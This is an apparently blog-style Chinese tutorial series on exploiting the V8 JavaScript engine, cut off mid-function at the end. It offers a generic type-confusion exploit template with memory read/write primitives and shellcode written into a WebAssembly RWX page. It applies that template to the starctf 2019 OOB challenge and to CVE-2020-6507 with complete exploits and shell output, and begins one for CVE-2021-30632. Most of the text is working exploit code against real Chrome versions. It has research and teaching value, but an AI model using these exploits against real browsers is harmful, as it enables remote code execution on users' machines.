在上面的示例代码中,出现了几个没说明的函数,以下是这几个函数的代码:
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function d2u(v) {
f64[0] = v;
return u32;
}
因为在上述思路中,都是使用浮点型数组,其值为浮点型,但是浮点型的值我们看着不顺眼,设置值我们也是习惯使用十六进制值。所以需要有ftoi
和itof
来进行浮点型和64bit的整数互相转换。
但是因为在新版的v8中,有压缩高32bit地址的特性,所以还需要u2d
和d2u
两个,把浮点型和32bit整数进行互相转换的函数。
最后还有一个hex
函数,就是方便我们查看值:
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
总结
目前在我看来,不说所有v8的漏洞,但是所有类型混淆类的漏洞都能使用同一套模板:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function fakeObj(addr_to_fake)
{
?
}
function addressOf(obj_to_leak)
{
?
}
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;
var fake_array = [
array_map,
itof(0x4141414141414141n)
];
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
其中打问号的地方,需要根据具体情况来编写,然后就是有些偏移需要根据v8版本情况进行修改,但是主体结构基本雷同。
之后的文章中,打算把我最近研究复现的几个漏洞,套进这个模板中,来进行讲解。
starctf 2019 OOB(三)
我是从starctf 2019的一道叫OOB的题目开始入门的,首先来讲讲这道题。
FreeBuf上有一篇《从一道CTF题零基础学V8漏洞利用》,我觉得对初学者挺友好的,我就是根据这篇文章开始入门v8的漏洞利用。
$ git clone https://github.com/sixstars/starctf2019.git
$ cd v8
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf2019/pwn-OOB/oob.diff
$ gclient sync -D
$ gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
$ ninja -C out/x64_startctf.release d8
或者可以在我之前分享的build.sh
中,在git reset
命令后加一句git apply ../starctf2019/pwn-OOB/oob.diff
,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019
一键编译。
漏洞点
源码我就不分析了,因为这题是人为造洞,在obb.diff中,给变量添加了一个oob函数,这个函数可以越界读写64bit。来测试一下:
$ cat test.js
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
var a = [2.1];
var x = a.oob();
console.log("x is 0x"+hex(ftoi(x)));
%DebugPrint(a);
%SystemBreak();
a.oob(2.1);
%SystemBreak();
使用gdb进行调试,得到输出:
x is 0x16c2a4382ed9
0x242d7b60e041 <JSArray[1]>
可能是因为v8的版本太低了,在这个版本的时候DebugPrint
命令只会输出变量的地址,不会输出其结构,我们可以使用job来查看其结构:
pwndbg> job 0x242d7b60e041
0x242d7b60e041: [JSArray]
- map: 0x16c2a4382ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x15ae01091111 <JSArray[0]>
- elements: 0x242d7b60e029 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x061441340c71 <FixedArray[0]> {
#length: 0x1b8f8e3c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x242d7b60e029 <FixedDoubleArray[1]> {
0: 2.1
}
pwndbg> x/8gx 0x242d7b60e029-1
0x242d7b60e028: 0x00000614413414f9 0x0000000100000000
0x242d7b60e038: 0x4000cccccccccccd 0x000016c2a4382ed9
0x242d7b60e048: 0x0000061441340c71 0x0000242d7b60e029
0x242d7b60e058: 0x0000000100000000 0x0000061441340561
我们能发现,x的值为变量a的map地址。浮点型数组的结构之前的文章说了,在value之后就是该变量的结构内存区域,所以使用a.oob()
可以越界读64bit,就可以读写该变量的map地址,并且在该版本中,地址并没有被压缩,是64bit。
我们继续运行代码:
pwndbg> x/8gx 0x242d7b60e029-1
0x242d7b60e028: 0x00000614413414f9 0x0000000100000000
0x242d7b60e038: 0x4000cccccccccccd 0x4000cccccccccccd
0x242d7b60e048: 0x0000061441340c71 0x0000242d7b60e029
0x242d7b60e058: 0x0000000100000000 0x0000061441340561
发现通过a.oob(2.1);
可以越界写64bit,已经把变量a
的map地址改为了2.1
。
套模版写exp
想想我上篇文章说的模板,我们来套模板写exp。
首先我们来写addressOf
函数,该函数的功能是,通过把obj数组的map地址改为浮点型数组的map地址,来泄漏任意变量的地址。
所以我们可以这么写:
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
接下来编写一下fakeObj
函数,该函数的功能是把浮点型数组的map地址改为对象数组的map地址,可以伪造出一个对象来,所以我们可以这么写:
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
double_array.oob(array_map); // 改回来,以便后续需要的时候使用
return faked_obj;
}
好了,把模板中空缺的部分都补充完了,但是还有一个问题。因为模板是按照新版的v8来写的,新版的v8对地址都进行了压缩,但是该题的v8缺没有对地址进行压缩,所以还有一些地方需要进行调整:
首先是读写函数,因为map地址占64bit,长度占64bit,所以elements
的地址位于value-0x10
,所以读写函数需要进行微调:
function read64(addr)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
copy_shellcode_to_rwx
函数也要进行相关的调整:
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr, ftoi(rwx_addr));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
fake_array
也需要进行修改:
var fake_array = [
array_map,
itof(0n),
itof(0x41414141n),
itof(0x100000000n),
];
计算fake_object_addr
地址的偏移需要稍微改改:
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);
获取rwx_addr
的过程需要稍微改一改偏移:
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
偏移改完了,可以整合一下了,最后的exp如下:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
double_array.oob(array_map); // 改回来,以便后续需要的时候使用
return faked_obj;
}
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
function read64(addr)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr, ftoi(rwx_addr));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();
var fake_array = [
array_map,
itof(0n),
itof(0x41414141n),
itof(0x100000000n),
];
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
执行exp:
$ ./d8 exp.js
[*] leak fake_array addr: 0x8ff3db506f8
[*] leak wasm_instance addr: 0x33312a9e0fd0
[*] leak rwx_page_addr: 0xfc5ec3c6000
[*] buf_backing_store_addr: 0x8ff3db50c10
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
参考
CVE-2020-6507(四)
复现CVE-2020-6507
信息收集
在复习漏洞前,我们首先需要有一个信息收集的阶段:
- 可以从Chrome的官方更新公告得知某个版本的Chrome存在哪些漏洞。
- 从官方更新公告上可以得到漏洞的bug号,从而在官方的issue列表获取该bug相关信息,太新的可能会处于未公开状态。
- 可以在Google搜索
Chrome 版本号 "dl.google.com"
,比如chrome 90.0.4430.93 "dl.google.com"
,可以搜到一些网站有Chrome更新的新闻,在这些新闻中能获取该版本Chrome官方离线安装包。下载Chrome一定要从dl.google.com
网站上下载。
我第二个研究的是CVE-2020-6507
,可以从官方公告得知其chrome的bug编号为:1086890
可以很容易找到其相关信息:
受影响的Chrome最高版本为:83.0.4103.97
受影响的V8最高版本为:8.3.110.9
相关PoC:
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];
搭建环境
一键编译相关环境:
$ ./build.sh 8.3.110.9
套模版
暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。
运行一下PoC:
$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# 最后一行删了,alert改成console.log
$ ./d8 poc.js
corrupted array length: 12121212
可以发现,改PoC的作用是把corrupted_array
数组的长度改为0x24242424/2 = 0x12121212
,那么后续如果我们的obj_array
和double_array
在这个长度的内存区域内,那么就可以写addressOf
和fakeObj
函数了。
来进行一波测试:
$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
%DebugPrint(corrupted_array);
%SystemBreak();
DebugPrint: 0x9ce0878c139: [JSArray]
- map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x09ce082091e1 <JSArray[0]>
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138: 0x080406e908241891 0x2424242400000000
0x9ce0878c148: 0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158: 0x080406e9082418e1 0x000000040878c149
调试的时候,发现程序crash了,不过我们仍然可以查看内存,发现该版本的v8,已经对地址进行了压缩,我们虽然把length位改成了0x24242424
,但是我们却也把elements
位改成了0x00000000
。在这个步骤的时候,我们没有泄漏过任何地址,有没有其他没办法构造一个elements
呢。
最后发现堆地址是从低32bit地址为0x00000000开始的,后续变量可能会根据环境的问题有所变动,那么前面的值是不是低32bit地址不会变呢?
改了改测试代码,如下所示:
$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));
结果为:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
- map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x288c082091e1 <JSArray[0]>
- elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x288c080406e9 <FixedArray[0]> {
#length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x288c089046ed <FixedDoubleArray[1]> {
0: 1.1
}
0x288c08241891: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x288c08180451 <Cell value= 1>
- instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
- transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x288c082091e1 <JSArray[0]>
- constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
- dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
a = 0x80406e908241891
成功泄漏出double_array
变量的map地址,再改改测试代码:
$ cat test.js
......
length_as_double =
new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));
再来看看结果:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
- map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x34f1082091e1 <JSArray[0]>
- elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x34f1080406e9 <FixedArray[0]> {
#length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34f108904b95 <FixedDoubleArray[1]> {
0: 1.1
}
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
- map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x34f1082091e1 <JSArray[0]>
- elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x34f1080406e9 <FixedArray[0]> {
#length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34f108904b89 <FixedArray[1]> {
0: 0x34f108901c8d <Object map = 0x34f108244e79>
}
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
成功泄漏了map地址,不过该方法的缺点是,只要修改了js代码,堆布局就会发生一些变化,就需要修改elements
的值,所以需要先把所有代码写好,不准备变的时候,再来修改一下这个值。
不过也还有一些方法,比如堆喷,比如把elements
值设置的稍微小一点,然后在根据map的低20bit为0x891,来搜索map地址,不过这些方法本文不再深入研究,有兴趣的可以自行进行测试。
现在我们能来编写addressOf函数了:
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
corrupted_array[4] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
corrupted_array[4] = obj_map; // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
接下来就是编写fakeObj
函数:
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
corrupted_array[0] = obj_map; // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
corrupted_array[0] = array_map; // 改回来,以便后续需要的时候使用
return faked_obj;
}
改版本中,需要修改的偏移有:
$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......
其他都模板中一样,最后运行exp1
:
$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
优化exp
前面内容通过套模板的方式,写出了exp1
,但是却有些许不足,因为elements
的值是根据我们本地环境测试出来的,即使在测试环境中,代码稍微变动,就需要修改,如果只是用来打CTF,我觉得这样就足够了。但是如果拿去实际的环境打,exp大概需要进行许多修改。
接下来,我将准备讲讲该漏洞原理,在理解其原理后,再来继续优化我们的exp。那为啥之前花这么长时间讲这个不太实用的exp?而不直接讲优化后的exp?因为我想表明,在只有PoC的情况下,也可以通过套模板,写出exp。
漏洞成因
漏洞成因这块我不打算花太多时间讲,因为我发现,V8更新的太快了,你花大量时间来分析这个版本的代码,分析这个漏洞的相关代码,但是换一个版本,会发现代码发生了改变,之前分析的已经过时了。所以我觉得起码在初学阶段,没必要深挖到最底层。
在bugs.chromium.org上已经很清楚了解释了该漏洞了。
NewFixedArray
和NewFixedDoubleArray
没有对数组的大小进行判断,来看看NewFixedDoubleArray
修复后的代码,多了一个判断:
macro NewFixedDoubleArray<Iterator: type>(
......
if (length > kFixedDoubleArrayMaxLength) deferred {
runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
}
......
再去搜一搜源码,发现kFixedDoubleArrayMaxLength = 671088612
,说明一个浮点型的数组,最大长度为67108862
。
我们再来看看PoC:
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
我们来算算,array
的长度为0x40000
,args
的为0xff
个array
,然后args
还push了一个长度为0x3fffc
的数组。
通过Array.prototype.concat.apply
函数,把args
变量变成了长度为0x40000 * 0xff + 0x3fffc = 67108860
的变量giant_array
。
接着再使用splice
添加了3个值,该函数将会执行NewFixedDoubleArray
函数,从而生成了一个长度为67108860+3=67108863
的浮点型数组。
该长度已经超过了kFixedDoubleArrayMaxLength
的值,那么改漏洞要怎么利用呢?
来看看trigger
函数:
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array); // 触发JIT优化
}
该函数传入的为giant_array
数组,其长度为67108863
,所以x = 67108863
,经过计算后,得到x = 7
,然后执行corrupting_array[x] = length_as_double;
,corrupting_array
原本以数组的形式储存浮点型,长度为2,但是给其index=7的位置赋值,将会把该变量的储存类型变为映射模式。
这么一看,好像并没有什么问题。但是V8有一个特性,会对执行的比较多的代码进行JIT优化,会删除一些冗余代码,加速代码的执行速度。
比如对trigger
函数进行优化,V8会认为x的最大长度为67108862
,那么x最后的计算结果最大值为1
,那么x最后的值不是0就是1,corrupting_array
的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]
执行的时候,会根据x的值对corrupting_array
边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]
进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array
变量的elements
和length
位,所以PoC达到了之前分析的那种效果。
知道原理了,那么我们就能对该函数进行一波优化了,我最后的优化代码如下:
length_as_double =
new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
let test1 = [0.1, 0.1];
let test2 = [test1];
let test3 = [0.1];
test1[x] = length_as_double; // fake length
return [test1, test2, test3];
}
x
最后的值为11
,修改到了test3
的长度,但是并不会修改到elements
的值,因为中间有个test2
,导致产生了4字节的偏移,所以我们可以让我们只修改test3的长度而不影响到elements
。
根据上述思路,我们对PoC进行一波修改:
function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
oob[x] = length_as_double; // fake length
}
for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));
接下来只要在exp1的基础上对addressOf
和fakeObj
进行一波微调,就能形成我们的exp2了:
$ cat exp2.js
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array[1] = obj_map; // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
return faked_obj;
}
$ ./d8 exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] leak wasm_instance addr: 0x8241891082116f0
[*] leak rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
参考
- https://chromereleases.googleblog.com/
- https://bugs.chromium.org/p/chromium/issues/list
- https://bugs.chromium.org/p/chromium/issues/detail?id=1086890
CVE-2021-30632(五)
复现CVE-2021-30632
第三个研究的是CVE-2021-30632
,其chrome的bug编号为:1247763
不过其相关信息还未公开,但是我们仍然能得知:
受影响的Chrome最高版本为:93.0.4577.63
受影响的V8最高版本为:9.3.345.16
不过网上能搜到一篇分析文章Chrome in-the-wild bug analysis: CVE-2021-30632,不过文章中只有PoC,不包含EXP,PoC如下:
function foo(b) {
x = b;
}
function oobRead() {
return [x[20],x[24]];
}
function oobWrite(addr) {
x[24] = addr;
}
//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimzie foo
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead();
oobWrite(0x41414141);
搭建环境
一键编译相关环境:
$ ./build.sh 9.3.345.16
套模版
稍微修改一下PoC,然后运行:
$ cat poc.js
......
function oobRead() {
return x[16];
}
......
var z = oobRead();
console.log(hex(ftoi(z)));
%DebugPrint(x);
%SystemBreak();
$ ./d8 poc.js
80023b500000002
DebugPrint: 0x34070804a1a1: [JSArray]
- map: 0x340708207939 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3407081cc139 <JSArray[0]>
- elements: 0x34070804a1b1 <FixedArray[30]> [HOLEY_SMI_ELEMENTS]
- length: 30
- properties: 0x34070804a231 <PropertyArray[3]>
- All own properties (excluding elements): {
0x340708004905: [String] in ReadOnlySpace: #length: 0x34070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
0x340708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: properties[0]
}
- elements: 0x34070804a1b1 <FixedArray[30]> {
0-29: 5
}
......
然后挂上GDB进行调试,发现变量z
的值(0x80023b500000002
)位于elements + 8 + 16 * 8
,从这可以看出该PoC达到了越界读的效果,同理,oobWrite
函数能达到越界写的目的。
那么我们可以按以下顺序定义变量:
var arr = new Array(30); arr.fill(4); arr.a = 1;
var trigger_array = [1.1];
var padding = [1.1];
var vul_obj = {"a" : 1};
那么通过arr
的越界读,我们可以获取到下面三个变量的相关信息。具体的偏移可以通过gdb调试获取,比如trigger_array
变量的偏移为20
。我可以通过oobWrite
函数去修改trigger_array
变量的size位,转换为trigger_array
变量的越界利用。
根据上述的数据去修改oobWrite
函数和oobRead
函数:
function oobRead() {
return x[21];
}
function oobWrite(addr) {
